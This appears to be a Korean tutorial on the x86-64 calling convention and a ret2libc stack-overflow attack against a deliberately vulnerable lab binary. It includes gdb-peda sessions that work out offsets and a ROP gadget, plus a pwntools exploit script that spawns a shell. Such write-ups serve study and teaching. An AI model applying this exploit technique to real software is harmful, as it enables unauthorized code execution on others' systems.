Calling convention features
| 인자 전달 방법 | RDI, RSI, RDX, RCX, R8, R9, XMM0–7 |
|---|---|
| 인자 전달 순서 | 오른쪽에서 왼쪽의 순서로 레지스터에 저장됩니다. |
| 함수의 반환 값 | EAX |
| Stack 정리 | 호출한 함수가 호출된 함수의 stack 공간을 정리함 |
Calling convention example (C language)
int a,b,c,d;
int ret;
ret = function(a,b,c,d);
Calling convention example (Assembly code)
mov rcx,d
mov rdx,c
mov rsi,b
mov rdi,a
call function
mov ret,eax
test.c
//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
void vuln(int a,int b,int c,int d){
printf("%d, %d, %d, %d",a,b,c,d);
}
void main(){
vuln(1,2,3,4);
}
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000401173 <+0>: endbr64
0x0000000000401177 <+4>: push rbp
0x0000000000401178 <+5>: mov rbp,rsp
0x000000000040117b <+8>: mov ecx,0x4
0x0000000000401180 <+13>: mov edx,0x3
0x0000000000401185 <+18>: mov esi,0x2
0x000000000040118a <+23>: mov edi,0x1
0x000000000040118f <+28>: call 0x401136 <vuln>
0x0000000000401194 <+33>: nop
0x0000000000401195 <+34>: pop rbp
0x0000000000401196 <+35>: ret
End of assembler dump.
gdb-peda$ b*main+28
Breakpoint 1 at 0x40118f
Breakpoint 1, 0x000000000040118f in main ()
gdb-peda$ i r
rax 0x401173 0x401173
rbx 0x4011a0 0x4011a0
rcx 0x4 0x4
rdx 0x3 0x3
rsi 0x2 0x2
rdi 0x1 0x1
rbp 0x7fffffffde70 0x7fffffffde70
rsp 0x7fffffffde70 0x7fffffffde70
r8 0x0 0x0
r9 0x7ffff7fe0d60 0x7ffff7fe0d60
r10 0x7 0x7
r11 0x0 0x0
r12 0x401050 0x401050
r13 0x7fffffffdf60 0x7fffffffdf60
r14 0x0 0x0
r15 0x0 0x0
rip 0x40118f 0x40118f <main+28>
eflags 0x246 [ PF ZF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
0x0000000000401136 <+0>: endbr64
0x000000000040113a <+4>: push rbp
0x000000000040113b <+5>: mov rbp,rsp
0x000000000040113e <+8>: sub rsp,0x10
0x0000000000401142 <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401145 <+15>: mov DWORD PTR [rbp-0x8],esi
0x0000000000401148 <+18>: mov DWORD PTR [rbp-0xc],edx
0x000000000040114b <+21>: mov DWORD PTR [rbp-0x10],ecx
0x000000000040114e <+24>: mov esi,DWORD PTR [rbp-0x10]
0x0000000000401151 <+27>: mov ecx,DWORD PTR [rbp-0xc]
0x0000000000401154 <+30>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000401157 <+33>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040115a <+36>: mov r8d,esi
0x000000000040115d <+39>: mov esi,eax
0x000000000040115f <+41>: lea rdi,[rip+0xe9e] # 0x402004
0x0000000000401166 <+48>: mov eax,0x0
0x000000000040116b <+53>: call 0x401040 <printf@plt>
0x0000000000401170 <+58>: nop
0x0000000000401171 <+59>: leave
0x0000000000401172 <+60>: ret
End of assembler dump.
gdb-peda$ b*vuln+53
Breakpoint 2 at 0x40116b
| Register | Value | Explanation |
|---|---|---|
| RDI | 0x402004 | "%d, %d, %d, %d" |
| RSI | 0x1 | Arg 1 |
| RDX | 0x2 | Arg 2 |
| RCX | 0x3 | Arg 3 |
| R8 | 0x4 | Arg 4 |
Breakpoint 2, 0x000000000040116b in vuln ()
gdb-peda$ i r
rax 0x0 0x0
rbx 0x4011a0 0x4011a0
rcx 0x3 0x3
rdx 0x2 0x2
rsi 0x1 0x1
rdi 0x402004 0x402004
rbp 0x7fffffffde60 0x7fffffffde60
rsp 0x7fffffffde50 0x7fffffffde50
r8 0x4 0x4
r9 0x7ffff7fe0d60 0x7ffff7fe0d60
r10 0x7 0x7
r11 0x0 0x0
r12 0x401050 0x401050
r13 0x7fffffffdf60 0x7fffffffdf60
r14 0x0 0x0
r15 0x0 0x0
rip 0x40116b 0x40116b <vuln+53>
eflags 0x206 [ PF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gdb-peda$ x/s 0x402004
0x402004: "%d, %d, %d, %d"
ret2libc structure
| Stack Address | Value | Explanation |
|---|---|---|
| 0x7fffffffe498 | Gadget(POP RDI, ret) Address | Return address area of function |
| 0x7fffffffe4a0 | First argument value | |
| 0x7fffffffe4a8 | System function address of libc |
ret2libc.c
// gcc -fno-stack-protector -no-pie -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50] = "";
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 100);
}
void main(){
vuln();
}
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: sub rsp,0x40
0x0000000000401182 <+12>: mov QWORD PTR [rbp-0x40],0x0
0x000000000040118a <+20>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401192 <+28>: mov QWORD PTR [rbp-0x30],0x0
0x000000000040119a <+36>: mov QWORD PTR [rbp-0x28],0x0
0x00000000004011a2 <+44>: mov QWORD PTR [rbp-0x20],0x0
0x00000000004011aa <+52>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004011b2 <+60>: mov WORD PTR [rbp-0x10],0x0
0x00000000004011b8 <+66>: lea rsi,[rip+0xe45] # 0x402004
0x00000000004011bf <+73>: mov rdi,0xffffffffffffffff
0x00000000004011c6 <+80>: call 0x401080 <dlsym@plt>
0x00000000004011cb <+85>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011cf <+89>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004011d3 <+93>: mov rsi,rax
0x00000000004011d6 <+96>: lea rdi,[rip+0xe2e] # 0x40200b
0x00000000004011dd <+103>: mov eax,0x0
0x00000000004011e2 <+108>: call 0x401060 <printf@plt>
0x00000000004011e7 <+113>: lea rax,[rbp-0x40]
0x00000000004011eb <+117>: mov edx,0x64
0x00000000004011f0 <+122>: mov rsi,rax
0x00000000004011f3 <+125>: mov edi,0x0
0x00000000004011f8 <+130>: call 0x401070 <read@plt>
0x00000000004011fd <+135>: nop
0x00000000004011fe <+136>: leave
0x00000000004011ff <+137>: ret
End of assembler dump.
gdb-peda$ b*vuln
Breakpoint 1 at 0x401176
gdb-peda$ b*vuln+130
Breakpoint 2 at 0x4011f8
gdb-peda$ b*vuln+137
Breakpoint 3 at 0x4011ff
gdb-peda$ i r rsp
rsp 0x7fffffffde68 0x7fffffffde68
gdb-peda$ x/gx 0x7fffffffde68
0x7fffffffde68: 0x0000000000401212
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000401200 <+0>: endbr64
0x0000000000401204 <+4>: push rbp
0x0000000000401205 <+5>: mov rbp,rsp
0x0000000000401208 <+8>: mov eax,0x0
0x000000000040120d <+13>: call 0x401176 <vuln>
0x0000000000401212 <+18>: nop
0x0000000000401213 <+19>: pop rbp
0x0000000000401214 <+20>: ret
End of assembler dump.
Breakpoint 2, 0x00000000004011f8 in vuln ()
gdb-peda$ i r rsi
rsi 0x7fffffffde20 0x7fffffffde20
gdb-peda$ p/d 0x7fffffffde68 - 0x7fffffffde20
$1 = 72
gdb-peda$ c
Continuing.
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJ
Breakpoint 3, 0x00000000004011ff in vuln ()
gdb-peda$ x/gx 0x7fffffffde68
0x7fffffffde68: 0x4a4a4a4a4a4a4a4a
gdb-peda$ x/s 0x7fffffffde68
0x7fffffffde68: "JJJJJJJJ\n"
gdb-peda$ print system
$2 = {int (const char *)} 0x7ffff7e16290 <__libc_system>
gdb-peda$ info proc map
process 243
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/sung/mungso/playground/rtl/64/ret2libc
0x401000 0x402000 0x1000 0x1000 /home/sung/mungso/playground/rtl/64/ret2libc
0x402000 0x403000 0x1000 0x2000 /home/sung/mungso/playground/rtl/64/ret2libc
0x403000 0x404000 0x1000 0x2000 /home/sung/mungso/playground/rtl/64/ret2libc
0x404000 0x405000 0x1000 0x3000 /home/sung/mungso/playground/rtl/64/ret2libc
0x405000 0x426000 0x21000 0x0 [heap]
0x7ffff7dc1000 0x7ffff7dc4000 0x3000 0x0
0x7ffff7dc4000 0x7ffff7de6000 0x22000 0x0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7de6000 0x7ffff7f5e000 0x178000 0x22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7f5e000 0x7ffff7fac000 0x4e000 0x19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fac000 0x7ffff7fb0000 0x4000 0x1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fb0000 0x7ffff7fb2000 0x2000 0x1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fb2000 0x7ffff7fb6000 0x4000 0x0
0x7ffff7fb6000 0x7ffff7fb7000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fb7000 0x7ffff7fb9000 0x2000 0x1000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fb9000 0x7ffff7fba000 0x1000 0x3000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fba000 0x7ffff7fbb000 0x1000 0x3000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fbb000 0x7ffff7fbc000 0x1000 0x4000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fbc000 0x7ffff7fbe000 0x2000 0x0
0x7ffff7fc9000 0x7ffff7fcd000 0x4000 0x0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 0x2000 0x0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 0x23000 0x1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 0x8000 0x24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
gdb-peda$ p/x 0x7ffff7e25c90 - 0x7ffff7dc4000 //print - 시스템 주소
$3 = 0x61c90
gdb-peda$ p/x 0x7ffff7e16290 - 0x7ffff7dc4000 //system - 시스템주소
$4 = 0x52290
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7f785bd --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7ffff7f785bd - 0x7ffff7dc4000
$5 = 0x1b45bd
gdb-peda$ ropsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00401283 : (b'5fc3') pop rdi; ret
from pwn import *
p = process('./ret2libc')
p.recvuntil(b'Printf() address : ')
print_addr = p.recvuntil(b'\n')
print_addr = int(print_addr,16)
libc_base = print_addr - 0x61c90
sys_addr = libc_base + 0x52290
binsh = libc_base + 0x1b45bd
poprdi = 0x0000000000401283
nop = 0x000000000040101a
log.info("libc_base : " + str(hex(libc_base)))
log.info("system : " + str(hex(sys_addr)))
log.info("/bin/sh : " + str(hex(binsh)))
payload = b'A' * 72
payload += p64(nop)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(sys_addr)
p.sendline(payload)
p.interactive()
❯ py exploit.py
[+] Starting local process './ret2libc': pid 1354
[*] libc_base : 0x7f77d7f2a000
[*] system : 0x7f77d7f7c290
[*] /bin/sh : 0x7f77d80de5bd
[*] Switching to interactive mode
/bin/sh: 1: w\x7f: Permission denied
$ id
uid=1000(sung) gid=1000(sung) groups=1000(sung),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)